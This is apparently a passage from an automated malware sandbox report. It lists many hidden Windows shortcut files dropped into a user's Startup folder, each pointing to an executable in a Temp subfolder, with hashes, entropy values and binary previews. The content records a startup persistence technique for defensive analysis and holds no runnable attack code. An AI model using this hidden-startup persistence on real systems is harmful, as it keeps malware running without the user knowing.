Preview:	L..................F...."...]W%.{...P...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ce64f1b1b1fa4b25a0311a1af3166050.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941722972790462
Encrypted:	false
SSDEEP:	24:8shBfWw48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8e+e0R6rMhpBoUBxdRd1nYyg
MD5:	924577F61FBE1D11BCD034A5C4E03783
SHA1:	5CAB8B6C4D064FA8ABD96173AD015CCDE204DBFC
SHA-256:	BFFDE2F358521548923344442FD5378E4D2CEDEA01DAC70D1FB2BEACE56A9744
SHA-512:	85D972718C911D53778C878043ED2A42F3952C80B70F97AC629C9D4FEBCBBBE6BB08844B96B61E55873995B17CF98CE1EE23110786B28684AAB498D7E94D1A14
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...'...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cea6073b703e4a058317a79e3a72153a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928236219327358
Encrypted:	false
SSDEEP:	24:8uhBf38iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8kU0R6rMhpBoUBxdRd1nYyg
MD5:	4A655411397D82BB3BDEA499875B93F3
SHA1:	EC7CC26D3694A919CED1F8064DF9EF4EAC1836EC
SHA-256:	25905BD0D86A77472D538023BD9B678E14F1C233FEEAD9FFC1511C3C37DAA2BE
SHA-512:	23327B357459758C6F19A16627EA466EE5ECAD3890C013E8307F708C83F0E15A5033A52C923623E4B65C7E78D61BAE018F9906463EAB75AFE20B3E3E46C29436
Malicious:	false
Preview:	L..................F...."...]W%.{...6...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....Y.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ced965accfc543619117890ebe04cf64.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940750811514899
Encrypted:	false
SSDEEP:	24:8o9hBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:84C0R6rMhpBoUBxdRd1nYyg
MD5:	2BFB3AEADB0F0466DEB64CA24469C22D
SHA1:	6D42C15EBB739EE84C871CF8708CB0E14AB9961E
SHA-256:	3E60A843FB288FF0D64C1746052CC4C738B2C41FE0C878A1D3CDCB64368CEBA2
SHA-512:	5FFF55F5DFE6FF38DDB9BE8EA7DF33976DFCC27AC7D300CC9CD9600C66E26B7E3F705DDBA92FA3065461EFF8F6C4B69291A8905BE826B39537EAAF73C793977D
Malicious:	false
Preview:	L..................F...."...]W%.{..._K;.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s#.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cf0bd73e176e42e9bdb0fc27a7891d49.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939960428054721
Encrypted:	false
SSDEEP:	24:8HhBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8b+0R6rMhpBoUBxdRd1nYyg
MD5:	086DCA0BF3388AD719B0FA57AC83F782
SHA1:	0D2EA139CAFDE9D8F8E35AAF174A967235B39348
SHA-256:	54564F9C97ACEC04B2F7C3AC4F489A34DB2E8017E02A5266561EDFE30CE818AC
SHA-512:	BB7EF0B778F94523DEAC5A8F3BAE9334E73C6AE111B6B32C9599AE3289C8248FE45F2B8E0164B0285AA456142851F27668EF16769E97A0DE91C3A11DF61F18CA
Malicious:	false
Preview:	L..................F...."...]W%.{....8~.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....\.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cf241dc160b74cf2a83d463ad069cfa7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933177294923264
Encrypted:	false
SSDEEP:	24:8R9hBf38iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8R900R6rMhpBoUBxdRd1nYyg
MD5:	248EE683B699F4EEBD0EAB22AFB14D89
SHA1:	83DCB67DE537C5E789F7A8C4806F4351625D27DB
SHA-256:	2AA5B2E55832FB10AC737E605791B8D700FAF5C8DF27708730D8D783917E41E6
SHA-512:	0392AA9F7154E183F987933267B8FF7F48DD7FADA78817F1222CDDA26D2FA19B8FC4D112E98D8C27D1129EE0771EE5CF549224226AEBCF9922C2AD0969773AB6
Malicious:	false
Preview:	L..................F...."...]W%.{...s...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....1..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cf43af7575bb460d897f86fe45931f77.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9420669018878725
Encrypted:	false
SSDEEP:	24:8qhBfk8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ap0R6rMhpBoUBxdRd1nYyg
MD5:	C6884CE2911410B0337FB5F29C75700E
SHA1:	0410F36B801EFFB67AAB6070646FB311D40F296E
SHA-256:	F2C6E74468A4CE788078CF9DF7A8394F67C145E0F9DEBE57823BC3F8A5D6076F
SHA-512:	81790B71532498B7F09162DF8591B75AC55342E2E276907C582F9E5052D0D6536B2D20BE131D6E9838E8EE30662CDB76C8EFD0C600D1BB6DFC6F76B106CC2461
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cfd6e741141644d3889916d0882a8b67.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937560658003273
Encrypted:	false
SSDEEP:	24:8vhBfS8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8z30R6rMhpBoUBxdRd1nYyg
MD5:	BC16EF3212B9ADB85FAF76D5AAC1FC68
SHA1:	A30EC24D7FB889E880F319CD56E3CDB963C837E4
SHA-256:	80E92D2DAA29AF20C0BC19EB37740C43BD15A685F39D69C08A266B73EC1839F9
SHA-512:	36C44841F2E36C35B876B935624C6AF41493E848739D9270443E66EFD5AB65702540EF6AE8BC194C95DB7EAB1EB7F383D49B91E3C273370A2200C271E79A4D26
Malicious:	false
Preview:	L..................F...."...]W%.{...u.3.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...@`..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d0370c6642344559a3096f792221f32b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940406882417488
Encrypted:	false
SSDEEP:	24:8UqhBfOe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8pm0R6rMhpBoUBxdRd1nYyg
MD5:	1D78637323426E9DE1A684943E1B57E4
SHA1:	90FC95F6292AB2433BF01F6324E61024470A3A82
SHA-256:	6397EECCA831C319201D4D2A02160EF39ACC21D988C4DE74293BA3DEFA9886E6
SHA-512:	0F62E4D017D2BB52951D8D92AD547E96470F02B6E4A295E883085F9D32B1D5693358989D505ECEB4F67795E2AF3232B7B1FE72504571955DE94A90CE7DB796F2
Malicious:	false
Preview:	L..................F...."...]W%.{....P..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d059a33fa80e4293b5146a8e6274690b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93974178329664
Encrypted:	false
SSDEEP:	24:8mhBfp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8sm0R6rMhpBoUBxdRd1nYyg
MD5:	5B7A48860AA6B02D60FDDA4BED59C6F4
SHA1:	4C4A7806D053186ADDCC466746D28CEDD681817A
SHA-256:	A29D3D51067E2AFA19AEE2BB3530874BE32BC74D6D84A13617C6D51EA5961A7F
SHA-512:	536F54991F9ED64E718B977BCC31D278108E6EB65DA04F6E5F6E29FD4DD3F5014079BA8F1239B9D724826E1526C1FE823DA398AB9FC418FEA41255EB66B0B0CA
Malicious:	false
Preview:	L..................F...."...]W%.{...R=..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....x..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d0a42b37d20a4b66a6f8299696e494ec.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940861557787212
Encrypted:	false
SSDEEP:	24:8BhBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8xr0R6rMhpBoUBxdRd1nYyg
MD5:	A9AA6883C4FEE314B0E2D48D64984BB7
SHA1:	FC6AF4C31AE2F4F3ED3EC3355F099553B7F4B84F
SHA-256:	A14C6B562BEE3A6B671E13FC4CD65E740CD3B9832FF39A2D2955BA440F903BB5
SHA-512:	4BB909C4D85348A3C98C40A08F11C9765309BDBA1B5604A27D83344B8F977D6BC2F5889BC046049B7B54B167CD3F92FBFB8DC621FA6C224BC4FC15759C96E2CE
Malicious:	false
Preview:	L..................F...."...]W%.{...u.".{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....X..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d0dafb514152435ba85fef3ee19cab0e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937570511537423
Encrypted:	false
SSDEEP:	24:8VhBfJe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8FF0R6rMhpBoUBxdRd1nYyg
MD5:	4C386A7732F947B54EE42FF05A79C448
SHA1:	D4B45433AE2AE3FED20410999FEB34AEE10702C4
SHA-256:	E234B76B55BDB9B2056785CB18E8866CE40DF4144E67B0C4A772294307256DC7
SHA-512:	E61FDD9F350B7B9AA4C3027E23A0292BD9AB537110B87AC504484B980DD43771E1ED4F79DC5828A7976ED35521BE61F7D9B362FC66CD2A81282166AA64D5802A
Malicious:	false
Preview:	L..................F...."...]W%.{....An.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....].\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d151d01a270b4c38af8e5299390a154b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939852529568951
Encrypted:	false
SSDEEP:	24:81hBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8lr0R6rMhpBoUBxdRd1nYyg
MD5:	961B589E35AD95AC41E26770A40C990C
SHA1:	B1B4F06D5B6D7F0D6BA96E7B9A6B9FE2FFE873F7
SHA-256:	CEFDCF6A59CDCFE466F707A0679EE6DD95751590E327B41C028E615D69034649
SHA-512:	E80E6BF2B716AB08F0CFF94377E2A974101DF018978F7311F97B04E504045B672C09A0F263E38640EBAC467C5B38411637F33D8480BF1EF2694CBFEDF797407F
Malicious:	false
Preview:	L..................F...."...]W%.{....z3.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....X..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d18148800bd44e0086416b10637da48f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940875665655939
Encrypted:	false
SSDEEP:	24:8XhBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8LO0R6rMhpBoUBxdRd1nYyg
MD5:	3F233E67F18218A49643790849949541
SHA1:	E5EFB527CE9F5FFA59773BE961778412A2CE3104
SHA-256:	C63F3D9F916606C5604BFAD2152DD33722C434F78F8E99123AF17FC29B41B946
SHA-512:	19B57B54828D531AD8DE5FDE9927ECEBD17EF5BADC3F5ADBC1820F32E3C5A2F673256BECEF2FD8B7AA2AEE158BD9ABCDD3573F72EECD04597412B939BE57F9DC
Malicious:	false
